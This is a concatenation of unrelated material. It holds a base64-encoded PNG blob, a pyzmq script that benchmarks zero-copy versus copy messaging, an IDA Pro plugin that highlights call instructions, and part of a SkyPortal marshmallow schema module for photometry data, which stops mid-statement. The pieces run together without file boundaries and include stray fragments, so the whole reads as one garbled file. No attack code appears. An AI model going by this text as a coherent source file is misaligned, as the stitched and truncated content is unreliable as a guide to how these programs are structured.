pngn45uYRsgKe2dalP+ljkLzDMmf3CRKV95MMaU7zrHdgERSfIesH3s1dzS2jwj9f4tpvyuKe1M+Udfnm/K #o> pngS9LIdVea8q1+a7/gQ9zHxWFnq2rKteyz+VyMAQCApo4CBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoY #o> pngAAAHKGAAAByggAEAcIACBgDAAQoYAAAHol0voCHY16NKkXFVYWXN+zpL2vrzzqb8LZc9Z57xxt5upvzu #o> pngvWWm/NJzepryklQ0x2fKHwjZ92+dtO3HpnxZqwhT/r5N+aa8JF2dO9WULz3JtiZJ+nDSQ6Z8n/cvNeWr #o> png9lWY8pJUNML26eaNQA/zjHcGzjPlL5gyzZSf9OIrprwk3XPTZaZ84s6d5hkPZbxhyg++bYIpf/bz15ux #o> pngePLwAAAQvElEQVTykpSw1fb8bsvF9vepyH0ZYWdrysqk6eYR9YpnwAAAOEABAwDgAAUMAIADFDAAAA5Q #o> pngwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5wMYYwnHDTPxQdERtWdtMvf2B+ #o> png/ISue0z5brE7zDOeGtjedofLWpviP1/2pO3xJd3y2HhTPnHgXvOM1rEhUz76oO3xRz+Va7uDpEtnvm3K #o> pngv7DgbPOMidvOMuXPz/rQlM+/4TRTXpK2jKk25dv49plnTDVefKP0ZwFT/mTfLlNeknLynjflb3l9jHlG #o> png72ds74cdb3rPlG829lRTXpLK/Z4pH7nPXkc/GrQ27GxFaaUeM0+oXzwDBgDAAQoYAAAHKGAAAByggAEA #o> pngcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByI8DzPtmFnExIMBuX3+zU0M0fRkb6w #o> png7rPv1DTznM9PsX0dVNWm3Dyje6Zt/+iSx7NM+dYrt5vyklQyrK0pfyA5wjzjlsufM+UzYmz7co/7y1Wm #o> pngvCQ1T7btT515rW2/YkmqOa6FKf/xNYmmfJs37eciJlRjyuc9PN88o7jab8pft+ZCU77LHftNeUna/qNk #o> pngU779uZ+aZ+zPyzDlPzvTtu9yVQvbuZOkFefeZ8qf+edp5hnRCZVhZ2sOlGnrxDsVCASUmGh7f68vPAMG #o> pngAMCBBlvAeXl5OvXUU5WQkKDk5GSNGjVKBQUFdTJlZWXKyclRq1at1KJFC40ePVolJSWOVgwAwNcabAHn #o> png5+crJydHq1ev1ptvvqnKykoNGzZModDX396bNm2aXn31Vb3wwgvKz8/Xjh07dP755ztcNQAAX2qw1wNe #o> pngunRpnX8vXLhQycnJWrt2rQYNGqRAIKAnnnhCixYt0tlnf3k91QULFujEE0/U6tWr1b9/fxfLBgBAUgN+ #o> pngBvxNgcCXv6iSlJQkSVq7dq0qKys1dOjQ2kzXrl3Vrl07rVq16pCPUV5ermAwWOcGAEB9aBQFXFNTo6lT #o> pngp2rgwIHq3r27JKm4uFixsbFq2bJlnWxKSoqKi4sP+Th5eXny+/21t4wM228WAgAQrkZRwDk5Odq4caOe #o> pngffbZ/+lxpk+frkAgUHsrKio6QisEAKCuBvsz4K9MnjxZr732mlauXKm2bb/+u9LU1FRVVFRo3759dZ4F #o> pngl5SUKDU19ZCP5fP55POF9/e+AAD8LxrsM2DP8zR58mQtXrxYb731lrKy6m4c0bt3b8XExGj58uW1Lyso #o> pngKNC2bds0YMCAo71cAADqaLDPgHNycrRo0SK98sorSkhIqP25rt/vV1xcnPx+vyZOnKjc3FwlJSUpMTFR #o> pngU6ZM0YABA/gNaACAcw22gOfNmydJGjx4cJ2XL1iwQOPHj5ckPfDAA4qMjNTo0aNVXl6u7OxsPfzww0d5 #o> pngpQAA/Df2gj6Mr/aCPvnFXEXFh/ez4VZjD/0b1ocz+F3bfX6S8KF5xoR/Xm7KB0Jxpvz13d805SXp5XP6 #o> pngmfKP5z9tnnFF39GmfGmfTFM+/u1/mPKSVNG/qylfdEWVecYZWYWm/IeP9TDlT7/mfVNekpb9u4spH/mO #o> pngbV9nSdp/UoUp36H9LlN++5o2prwkVftsn2L/ddFc84yT8iea8rG+8PdQlqSWzQ+a8pLUIsZ2Lipqoswz #o> png4q4J/z5V1eVaXvgb9oIGAKCpo4ABAHCAAgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAc #o> pngoIABAHCAAgYAwAEKGAAABxrs1ZCOpnu7vKDmCeF9rTLm7hzz47+WlG/K9511nXlGtwm2iwZ8Pt226fyd #o> pngk35iyktSpza2zdrfPNDePCPUu50p/9mZtg3ho0/tZcpLUkzIlu941SfmGR9c0dOUjz1vtym/+v4+prwk #o> pngHehry3e+/13zjDRjPurEzqb8qEWrjBOknWW2jf+HXDPJPCPJb3u/DXSMt+UP2i+MEVlQbcrvHBhhnjH9 #o> pngj0vCzh4srdJy+7ttveIZMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAA #o> pngDlDAAAA4QAEDAOAAe0GHIfe+qxUV2yys7Is3/8b8+CNP/pEpf9/qR8wzJv3+alM++3fvmfJffI+9gX/0 #o> pngyApT/lcvXmie0abctt908877TPmYV1ua8pJ08bQ3TPmSi2x7CUtSySOeKV/9WitTPvuGd0x5SXr6vf6m #o> png/L7LB5hnHDd+myn/dOcnTfm3Dqaa8pL0xFk/MOU7Lv2Xecb+Sp8pH3jbtgf2T8b8zZSXpJc32fZJr/nc #o> pngtj+1JO2tbh52tqy6yvz49Y1nwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5Q #o> pngwAAAOEABAwDgAAUMAIADFDAAAA5EeJ5n27W9CQkGg/L7/fr933soPiEqrPs8+qNs85yWC/aa8h8UZZhn #o> pngVAZtm7WrKsIUb/umLS9JLTYFTPmE+Z+bZ+y9NdOUL20ba8pfc+uLprwkPXLbaFM+4Y/rzTM+mW27AECn #o> pngZw+a8g88M9+Ul6RJ115ryt98n+1CCZJ0+50/M+Vb/63ElPc+KzblJWl7zsmm/EfTHjbP6PrYNaZ8h99u #o> pngMuWfXveKKS9JoydMMeUrE+zXBkoo+CLsbFV1uZZ/fJ8CgYASE+0XOKkPPAMGAMABChgAAAcoYAAAHKCA #o> pngAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHLBvvtkElXkxiqwJby/o4rOTzY+/ #o> png6R3bfZaMud884xcTJ5vyMfkfmvIFvz3FlJckf0aSKb/r98eZZ9z86NOm/BP9epvyv876qSkvSQ//2raP #o> png8i0RV5lnnNCjyJR/cNTzpvzUIZea8pK0P9v26eY3o84zz+iz4O+m/F962PZpXnT+c6a8JHWOXmbKD7nU #o> pngtoeyJGVUHDDlazJTTPlzp0w15SUpMHm/Ke+ttH98x+2KDztbVXXsPd889lYEAEAT0GALOC8vT6eeeqoS #o> pngEhKUnJysUaNGqaCgoE5m8ODBioiIqHO7+uqrHa0YAICvNdgCzs/PV05OjlavXq0333xTlZWVGjZsmEKh #o> pngUJ3clVdeqZ07d9beZs+e7WjFAAB8rcH+DHjp0qV1/r1w4UIlJydr7dq1GjRoUO3L4+PjlZqaerSXBwDA #o> pngYTXYZ8DfFAh8eXH3pKS6v9jz9NNPq3Xr1urevbumT5+uAwe+/ZcVysvLFQwG69wAAKgPDfYZ8H+qqanR #o> png1KlTNXDgQHXv3r325RdffLEyMzOVnp6uDRs26KabblJBQYFefvnlQz5OXl6eZs2adbSWDQBowhpFAefk #o> png5Gjjxo1655136rz8qqu+/vONHj16KC0tTUOGDFFhYaE6duz4X48zffp05ebm1v47GAwqIyOj/hYOAGiy #o> pngGnwBT548Wa+99ppWrlyptm3bHjbbr18/SdLmzZsPWcA+n08+n69e1gkAwH9qsAXseZ6mTJmixYsXa8WK #o> pngFcrKyvrO+6xfv16SlJaWVt/LAwDgsBpsAefk5GjRokV65ZVXlJCQoOLiYkmS3+9XXFycCgsLtWjRIp1z #o> pngzjlq1aqVNmzYoGnTpmnQoEHq2bOn49UDAJq6BlvA8+bNk/TlZhv/acGCBRo/frxiY2O1bNkyzZkzR6FQ #o> pngSBkZGRo9erRuvfVWB6sFAKCuBlvAnucd9vUZGRnKz88/IrP+cM05io5uFla2dErou0PfkNKy1JS//tyf #o> pngmWe8+qd55vtYXNAjwXyfh9a/aspf/q/LzTMW77btUT1z3V9M+eundTblJal7rG2P3NI29r8WLP7Mtr/4 #o> pngiA+vM+VPaLbPlJekzJ8WmvKh82PNMzZf28WUf3nRHFP+4nUTTXlJOjV9mym/5Tz7p+WuD9v+ZLKsTaIp #o> pngn7D636a8JO06pYMp3/7H9hkFJ6aHna05WC2tNo+oV43m74ABAGhIKGAAAByggAEAcIACBgDAAQoYAAAH #o> pngKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAgQjvu65q0IQFg0H5/X5lPnGrIuPDuxiD #o> pngdoaZ+w/VzWtM+ZNm2TZ3l6SCe23XQP7H4EdN+b+X27+Wm3TfFFP+rf+71zzj+s+GmfJbbu9qysd9tN2U #o> pnglySvstKU/8Xqd8wz5oy90JTfdbttTaelbTXlJWlrKMmU/+Td9uYZWX+0XQxld8/mpnzyGvtFKDZf3NKU #o> pngb/mxeYRiDto+jQ+8cY0pv3GC7eNCkvo/9aEp/0xBb/OMtvNiws5WVZXpryt/qUAgoMRE28Uo6gvPgAEA #o> pngcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHol0voCHo #o> pngmPOJoiNiw8oW/+wU8+MH+leY8j9cZt8s1rvQtvfpHd1sx3FWwj9NeUlqsbPalP/17tPMM/LavGHKZ+e0 #o> pngNeV9t9j2+ZWkwkuPM+Uf6LTHPKN8RJwp/8WOeFN+86xOprwklbZvYcq3CVWZZ8x/7mFT/pIbrzflI/cf #o> pngNOUlKX6n7Xzv+YHt40KSIlvZPocUHbSt6c4lT5ryknRrzyGmvHeT7f1DkjLzPgo7W1FaIdmWVO94BgwA #o> pnggAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAA #o> pngF2MIQ2XfrvKim4WV9QVq7AMCMab43NdGmEf0mL/ZlH9/T6Ypvyq3rykvSbvOsn39lxQdMs8YOucGU/6v #o> png0+4z5X+6cYApL0ntltoudBHZvLl5RtGwKFM+9rgDpnzBRPuaOi0qN+W3GS8oIUlDX7JdXGHM/71ryg9K #o> pngKDDlJWnqop+Z8ucNfN88IzG6zJTPv872ftvscfsFIvaN7GbKR3Xdb56R4guGnS2vrDQ/fn3jGTAAAA5Q #o> pngwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOMBWlIfheZ4kqaoq/C30 #o> pngqivsW1HWHPRM+Ygy+9dNlaEKU77KuGtbVZVtKzxJqimzva3KSu1byVWX29YV3G9bU5X3PdZkfFtFeLZz #o> pngJ0k1ZbYZNQeM+YOmuCSpqsp2HDVlEeYZNRG2j6Vy4/vUAdm3ZKw2ngvrmiSpPNp2H+vHa6nx40KSqitt #o> pngM6qN74OS7W1VHvoy+9Xn9WNBhHcsreYYs337dmVkZLheBgDgCCkqKlLbtm1dL0MSBXxYNTU12rFjhxIS #o> pngEhQR8fVX48FgUBkZGSoqKlJiYqLDFR5dHDfH3RRw3I3zuD3P0/79+5Wenq7IyGPjp698C/owIiMjD/uV #o> pngUmJiYqN8R/0uHHfTwnE3LY35uP1+v+sl1HFsfBkAAEATQwEDAOBA1MyZM2e6XkRDFBUVpcGDBys6uml9 #o> pngF5/j5ribAo67aR23K/wSFgAADvAtaAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgA #o> pngAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMAB #o> pngChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIG #o> pngAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAf+HwfLqKe3BvOdAAAAAElFTkSuQmCC #o> png}}} """ Collect data points for copy/no-copy crossover Zero-copy has a finite overhead in pyzmq, which is not worth paying for small messages. """ # Copyright (c) PyZMQ Developers. # Distributed under the terms of the Modified BSD License. import argparse from contextlib import contextmanager import os import pickle try: from time import monotonic except ImportError: from time import time as monotonic import numpy as np from perf import do_run URLs = { 'tcp': 'tcp://127.0.0.1:5555', 'ipc': 'ipc:///tmp/pyzmq-perf', } @contextmanager def timer(): tic = monotonic() toc = None try: yield lambda : toc - tic finally: toc = monotonic() def compute_data_point(test, size, copy=True, poll=False, transport='ipc', t_min=1, t_max=3): url = URLs.get(transport) duration = 0 count = 2 results = [] print('copy=%s, size=%s' % (copy, size)) print('%8s %5s %7s' % ('count', 'dt', 'result')) while duration < t_max: with timer() as get_duration: result = do_run(test, count=count, size=size, copy=copy, url=url, quiet=True) if not isinstance(result, tuple): result = (result,) duration = get_duration() fmt = '%8i %5.02g {}'.format('%7i ' * len(result)) print(fmt % ((count, duration) + result)) if duration >= t_min: # within our window, record result results.append((result, count)) if 10 * duration < t_min: # 10x if we are below 10% of t_min count *= 10 elif duration < t_max: # 2x if we are getting close count *= 2 return results full_names = { 'lat': 'latency', 'thr': 'throughput', } result_columns = { 'lat':['latency'], 'thr': ['sends', 'throughput'], } def main(): parser = argparse.ArgumentParser(description='Run a zmq performance test') parser.add_argument(dest='test', nargs='?', type=str, default='lat', choices=['lat', 'thr'], help='which test to run') parser.add_argument('--points', type=int, default=3, help='how many data points to collect per interval') parser.add_argument('--max', type=int, default=0, help='maximum msg size (log10, so 3=1000)') parser.add_argument('--min', type=int, default=0, help='minimum msg size (log10, so 3=1000)') args = parser.parse_args() test = args.test full_name = full_names[test] print("Running %s test" % full_name) fname = test + '.pickle' import pandas as pd data = [] transport = 'ipc' poll = False before = None if os.path.exists(fname): with open(fname, 'rb') as f: before = pickle.load(f) if test == 'lat': nmin = args.min or 2 nmax = args.max or 7 t_min = 0.4 t_max = 3 else: nmin = args.min or 2 nmax = args.max or 6 t_min = 1 t_max = 3 npoints = args.points * (nmax - nmin) + 1 sizes = np.logspace(nmin, nmax, npoints).astype(int) print("Computing %s datapoints: size=%s" % (len(sizes), list(sizes))) for size in np.logspace(nmin, nmax, npoints).astype(int): for copy in (True, False): if before is not None: matching = before[ (before['size'] > (0.8 * size)) & \ (before['size'] < (1.2 * size)) & \ (before['copy'] == copy) & \ (before['transport'] == transport) & \ (before['poll'] == poll) ] if len(matching): print("Already have", matching) continue for result, count in compute_data_point(test, size, copy=copy, transport=transport, poll=poll, t_min=t_min, t_max=t_max): data.append( (size, count, copy, poll, transport) + result, ) df = pd.DataFrame(data, columns=['size', 'count', 'copy', 'poll', 'transport'] + result_columns[test], ) if before is not None: df = pd.concat([before, df]) df.to_pickle(fname) if __name__ == '__main__': main() 1-10 # Plugin to highlight and un-highlight call instructions. import idc import idaapi import idautils class CallHighlighter(object): COLOR = 0xFF99FF #BBGGRR def highlight(self, color=COLOR): for ea in idautils.Heads(): if idaapi.isCode(idaapi.getFlags(ea)) and idaapi.is_call_insn(ea): current_color = idaapi.get_item_color(ea) if current_color == self.COLOR: idaapi.set_item_color(ea, idc.DEFCOLOR) elif current_color == idc.DEFCOLOR: idaapi.set_item_color(ea, self.COLOR) class fluorescence_blower_t(idaapi.plugin_t): flags = 0 comment = "Highlights function calls" help = '' wanted_name = 'fluorescence' wanted_hotkey = '' def init(self): self.highlighted = False self.context_menu = idaapi.add_menu_item("Options/", "Un/highlight call instructions", "", 0, self.run, (None,)) return idaapi.PLUGIN_KEEP def term(self): idaapi.del_menu_item(self.context_menu) return None def run(self, arg): CallHighlighter().highlight() def PLUGIN_ENTRY(): return fluorescence_blower_t() # This module acts as a placeholder for generated schema. After # `setup_schema` is run from `models`, each table will have an # associated schema here. E.g., `models.Dog` will be matched by `schema.Dog`. # From # https://marshmallow-sqlalchemy.readthedocs.io/en/latest/recipes.html#automatically-generating-schemas-for-sqlalchemy-models from marshmallow_sqlalchemy import ( ModelConversionError as _ModelConversionError, ModelSchema as _ModelSchema, ) from marshmallow import ( Schema as _Schema, fields, validate, post_load, pre_dump, ValidationError, ) from marshmallow_enum import EnumField from baselayer.app.models import Base as _Base, DBSession as _DBSession from baselayer.app.env import load_env from skyportal.enum_types import ( ALLOWED_SPECTRUM_TYPES, default_spectrum_type, py_allowed_bandpasses, py_allowed_magsystems, py_followup_priorities, ALLOWED_BANDPASSES, ALLOWED_MAGSYSTEMS, force_render_enum_markdown, ) from astropy.table import Table import operator import sys import inspect import numpy as np from enum import Enum _, cfg = load_env() # The default lim mag n-sigma to consider a photometry point as a detection PHOT_DETECTION_THRESHOLD = cfg["misc.photometry_detection_threshold_nsigma"] def validate_fluxerr(fluxerr): if isinstance(fluxerr, (float, int, str)): return float(fluxerr) >= 0 return all([float(el) >= 0 for el in fluxerr]) class ApispecEnumField(EnumField): """See https://github.com/justanr/marshmallow_enum/issues/24#issue-335162592""" def __init__(self, enum, *args, **kwargs): super().__init__(enum, *args, **kwargs) self.metadata['enum'] = [e.name for e in enum] class Response(_Schema): status = ApispecEnumField(Enum('status', ['error', 'success']), required=True) message = fields.String() data = fields.Dict() class Error(Response): status = ApispecEnumField(Enum('status', ['error']), required=True) class newsFeedPrefs(_Schema): numItems = fields.String() class UserPreferences(_Schema): newsFeed = fields.Nested(newsFeedPrefs) class UpdateUserPreferencesRequestJSON(_Schema): preferences = fields.Nested(UserPreferences) def success(schema_name, base_schema=None): schema_fields = { 'status': ApispecEnumField(Enum('status', ['success']), required=True), 'message': fields.String(), } if base_schema is not None: if isinstance(base_schema, list): schema_fields['data'] = fields.List( fields.Nested(base_schema[0]), ) else: schema_fields['data'] = fields.Nested(base_schema) return type(schema_name, (_Schema,), schema_fields) def setup_schema(): """For each model, install a marshmallow schema generator as `model.__schema__()`, and add an entry to the `schema` module. """ # for class_ in _Base._decl_class_registry.values(): for mapper in _Base.registry.mappers: class_ = mapper.class_ if hasattr(class_, '__tablename__'): if class_.__name__.endswith('Schema'): raise _ModelConversionError( "For safety, setup_schema can not be used when a" "Model class ends with 'Schema'" ) def add_schema(schema_class_name, exclude=[], add_to_model=False): """Add schema to module namespace, and, optionally, to model object. Parameters ---------- schema_class_name : str Name of schema. exclude : list of str, optional List of model attributes to exclude from schema. Defaults to `[]`. add_to_model : bool, optional Boolean indicating whether to install this schema generator on the model as `model.__schema__`. Defaults to `False`. """ schema_class_meta = type( f'{schema_class_name}_meta', (), { 'model': class_, 'sqla_session': _DBSession, 'ordered': True, 'exclude': [], 'include_fk': True, 'include_relationships': False, }, ) for exclude_attr in exclude: if ( hasattr(class_, exclude_attr) and getattr(class_, exclude_attr) is not None ): schema_class_meta.exclude.append(exclude_attr) schema_class = type( schema_class_name, (_ModelSchema,), {'Meta': schema_class_meta} ) if add_to_model: setattr(class_, '__schema__', schema_class) setattr(sys.modules[__name__], schema_class_name, schema_class()) schema_class_name = class_.__name__ add_schema( schema_class_name, exclude=['healpix', 'created_at', 'modified'], add_to_model=True, ) add_schema( f'{schema_class_name}NoID', exclude=[ 'created_at', 'id', 'modified', 'owner_id', 'last_modified_by_id', 'healpix', ], ) if schema_class_name == "Obj": add_schema( f'{schema_class_name}Post', exclude=[ 'created_at', 'redshift_history', 'modified', 'internal_key', ], ) class PhotBaseFlexible: """This is the base class for two classes that are used for rendering the input data to `PhotometryHandler.post` in redoc. These classes are only used for generating documentation and not for validation, serialization, or deserialization.""" mjd = fields.Field( metadata={ 'description': ( 'MJD of the observation(s). Can be a given as a ' 'scalar or a 1D list. If a scalar, will be ' 'broadcast to all values given as lists. ' 'Null values not allowed.' ), }, required=True, ) filter = fields.Field( required=True, metadata={ 'description': ( 'The bandpass of the observation(s). ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values not allowed. Allowed values: ' f'{force_render_enum_markdown(ALLOWED_BANDPASSES)}' ) }, ) obj_id = fields.Field( metadata={ 'description': ( 'ID of the `Obj`(s) to which the ' 'photometry will be attached. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values are not allowed.' ) }, required=True, ) instrument_id = fields.Field( metadata={ 'description': ( 'ID of the `Instrument`(s) with which the ' 'photometry was acquired. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values are not allowed.' ), }, required=True, ) assignment_id = fields.Integer( metadata={ 'description': 'ID of the classical assignment which generated the photometry' }, required=False, missing=None, ) ra = fields.Field( metadata={ 'description': ( 'ICRS Right Ascension of the centroid ' 'of the photometric aperture [deg]. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values allowed.' ) }, required=False, missing=None, ) dec = fields.Field( metadata={ 'description': ( 'ICRS Declination of the centroid ' 'of the photometric aperture [deg]. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values allowed.' ) }, required=False, missing=None, ) ra_unc = fields.Field( metadata={ 'description': 'Uncertainty on RA [arcsec]. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values allowed.' }, required=False, missing=None, ) dec_unc = fields.Field( metadata={ 'description': 'Uncertainty on dec [arcsec]. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values allowed.' }, required=False, missing=None, ) origin = fields.Field( metadata={ 'description': "Provenance of the Photometry. If a record is " "already present with identical origin, only the " "groups or streams list will be updated (other data assumed " "identical). Defaults to None." }, missing=None, ) group_ids = fields.Field( metadata={ "description": "List of group IDs to which photometry points will be visible. " "If 'all', will be shared with site-wide public group (visible to all users " "who can view associated source)." }, required=False, missing=[], ) stream_ids = fields.Field( metadata={ 'description': "List of stream IDs to which photometry points will be visible." }, required=False, missing=[], ) altdata = fields.Field( metadata={ "description": ( "Misc. alternative metadata stored in JSON " "format, e.g. `{'calibration': {'source': 'ps1'," "'color_term': 0.012}, 'photometry_method': 'allstar', " "'method_reference': 'Masci et al. (2015)'}`. Can be a list of " "dicts or a single dict which will be broadcast to all values." ) }, missing=None, default=None, required=False, ) class PhotFluxFlexible(_Schema, PhotBaseFlexible): """This is one of two classes used for rendering the input data to `PhotometryHandler.post` in redoc. These classes are only used for generating documentation and not for validation, serialization, or deserialization.""" required_keys = [ 'magsys', 'mjd', 'filter', 'obj_id', 'instrument_id', 'fluxerr', 'zp', ] magsys = fields.Field( required=True, metadata={ 'description': ( 'The magnitude system to which the flux, flux error, ' 'and the zeropoint are tied. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values not allowed. Allowed values: ' f'{force_render_enum_markdown(ALLOWED_MAGSYSTEMS)}' ), }, ) flux = fields.Field( metadata={ 'description': ( 'Flux of the observation(s) in counts. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values allowed, to accommodate,' 'e.g., upper limits from ZTF1, where flux is not provided ' 'for non-detections. For a given photometry ' 'point, if `flux` is null, `fluxerr` is ' 'used to derive a n-sigma limiting magnitude ' '(where n is configurable; 3.0 by default) ' 'when the photometry point is requested in ' 'magnitude space from the Photomety GET api.' ), }, required=False, missing=None, ) fluxerr = fields.Field( metadata={ 'description': 'Gaussian error on the flux in counts. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values not allowed.' }, required=True, validate=validate_fluxerr, ) zp = fields.Field( metadata={ 'description': 'Magnitude zeropoint, given by `zp` in the ' 'equation `m = -2.5 log10(flux) + zp`. ' '`m` is the magnitude of the object in the ' 'magnitude system `magsys`. ' 'Can be given as a scalar or a 1D list. ' 'Null values not allowed.' }, required=True, ) class PhotMagFlexible(_Schema, PhotBaseFlexible): """This is one of two classes used for rendering the input data to `PhotometryHandler.post` in redoc. These classes are only used for generating documentation and not for validation, serialization, or deserialization.""" required_keys = [ 'magsys', 'limiting_mag', 'mjd', 'filter', 'obj_id', 'instrument_id', ] magsys = fields.Field( required=True, metadata={ 'description': 'The magnitude system to which the magnitude, ' 'magnitude error, and limiting magnitude are tied. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values not allowed. Allowed values: ' f'{force_render_enum_markdown(ALLOWED_MAGSYSTEMS)}' }, ) mag = fields.Field( metadata={ 'description': 'Magnitude of the observation in the ' 'magnitude system `magsys`. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values allowed for non-detections. ' 'If `mag` is null, the corresponding ' '`magerr` must also be null.' }, required=False, missing=None, ) magerr = fields.Field( metadata={ 'description': 'Magnitude of the observation in the ' 'magnitude system `magsys`. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values allowed for non-detections. ' 'If `magerr` is null, the corresponding `mag` ' 'must also be null.' }, required=False, missing=None, ) limiting_mag = fields.Field( metadata={ 'description': 'Limiting magnitude of the image ' 'in the magnitude system `magsys`. ' 'Can be given as a scalar or a 1D list. ' 'If a scalar, will be broadcast to all values ' 'given as lists. Null values not allowed.' }, required=True, ) limiting_mag_nsigma = fields.Field( metadata={ 'description': 'Number of standard deviations ' 'above the background that the limiting ' 'magnitudes correspond to. Null values ' f'not allowed. Default = {PHOT_DETECTION_THRESHOLD}.' }, required=False, missing=PHOT_DETECTION_THRESHOLD, ) class PhotBase: """This is the base class of two classes that are used for deserializing and validating the postprocessed input data of `PhotometryHandler.post` and `PhotometryHandler.put` and for generating the API docs of PhotometryHandler.get`. """ mjd = fields.Number( metadata={'description': 'MJD of the observation.'}, required=True ) magsys = ApispecEnumField( py_allowed_magsystems, required=True, metadata={ 'description': 'The magnitude system to which the ' 'flux and the zeropoint are tied.' }, ) filter = ApispecEnumField( py_allowed_bandpasses, required=True, metadata={'description': 'The bandpass of the observation.'}, ) obj_id = fields.String( metadata={ 'description': 'ID of the Object to which the ' 'photometry will be attached.' }, required=True, ) instrument_id = fields.Integer( metadata={ 'description': 'ID of the instrument with which' ' the observation was carried ' 'out.' }, required=True, ) assignment_id = fields.Integer( metadata={ 'description': 'ID of the classical assignment which generated the photometry' }, required=False, missing=None, ) origin = fields.Field( metadata={ 'description': ( "Provenance of the Photometry. If a record is " "already present with identical origin, only the " "groups or streams list will be updated (other data assumed " "identical). Defaults to None." ) }, missing=None, ) ra = fields.Number( metadata={ "description": ( 'ICRS Right Ascension of the centroid ' 'of the photometric aperture [deg].' ) }, missing=None, default=None, ) dec = fields.Number( metadata={ 'description': 'ICRS Declination of the centroid ' 'of the photometric aperture [deg].' }, missing=None, default=None, ) ra_unc = fields.Number( metadata={'description': 'Uncertainty on RA [arcsec].'}, missing=None, default=None, ) dec_unc = fields.Number( metadata={'description': 'Uncertainty on dec [arcsec].'}, missing=None, default=None, ) alert_id = fields.Integer( metadata={ 'description': ( "Corresponding alert ID. If a record is " "already present with identical alert ID, only the " "groups list will be updated (other alert data assumed " "identical). Defaults to None." ) }, missing=None, default=None, ) altdata = fields.Dict( metadata={ "description": ( "Misc. alternative metadata stored in JSON " "format, e.g. `{'calibration': {'source': 'ps1'," "'color_term': 0.012}, 'photometry_method': 'allstar', " "'method_reference': 'Masci et al. (2015)'}`" ) }, missing=None, default=None, ) @post_load def enum_to_string(self, data, **kwargs): # convert enumified data back to strings data['filter'] = data['filter'].name data['magsys'] = data['magsys'].name return data class PhotometryFlux(_Schema, PhotBase): """This is one of two classes that are used for deserializing and validating the postprocessed input data of `PhotometryHandler.post` and `PhotometryHandler.put` and for generating the API docs of PhotometryHandler.get`. """ flux = fields.Number( metadata={ 'description': 'Flux of the observation in counts. ' 'Can be null to accommodate upper ' 'limits from ZTF1, where no flux is measured ' 'for non-detections. If flux is null, ' 'the flux error is used to derive a ' 'limiting magnitude.' }, required=False, missing=None, default=None, ) fluxerr = fields.Number( metadata={'description': 'Gaussian error on the flux in counts.'}, required=True ) zp = fields.Number( metadata={ 'description': 'Magnitude zeropoint, given by `ZP` in the ' 'equation m = -2.5 log10(flux) + `ZP`. ' 'm is the magnitude of the object in the ' 'magnitude system `magsys`.' }, required=True, ) @post_load def parse_flux(self, data, **kwargs): """Return a `Photometry` object from a `PhotometryFlux` marshmallow schema. Parameters ---------- data : dict The instance of the PhotometryFlux schema to convert to Photometry. Returns ------- Photometry The Photometry object generated from the PhotometryFlux object. """ from skyportal.models import Instrument, Obj, PHOT_SYS, PHOT_ZP, Photometry from sncosmo.photdata import PhotometricData # get the instrument instrument = Instrument.query.get(data['instrument_id']) if not instrument: raise ValidationError(f'Invalid instrument ID: {data["instrument_id"]}') # get the object obj = Obj.query.get(data['obj_id']) # TODO : implement permissions checking if not obj: raise ValidationError(f'Invalid object ID: {data["obj_id"]}') if data["filter"] not in instrument.filters: raise ValidationError( f"Instrument {instrument.name} has no filter " f"{data['filter']}." ) # convert flux to microJanskies. table = Table([data]) if data['flux'] is None: # this needs to be non-null for the conversion step # will be replaced later with null table['flux'] = 0.0 # conversion happens here photdata = PhotometricData(table).normalized(zp=PHOT_ZP, zpsys=PHOT_SYS) # replace with null if needed final_flux = None if data['flux'] is None else photdata.flux[0] p = Photometry( obj_id=data['obj_id'], mjd=data['mjd'], flux=final_flux, fluxerr=photdata.fluxerr[0], instrument_id=data['instrument_id'], assignment_id=data['assignment_id'], filter=data['filter'], ra=data['ra'], dec=data['dec'], ra_unc=data['ra_unc'], dec_unc=data['dec_unc'], ) if 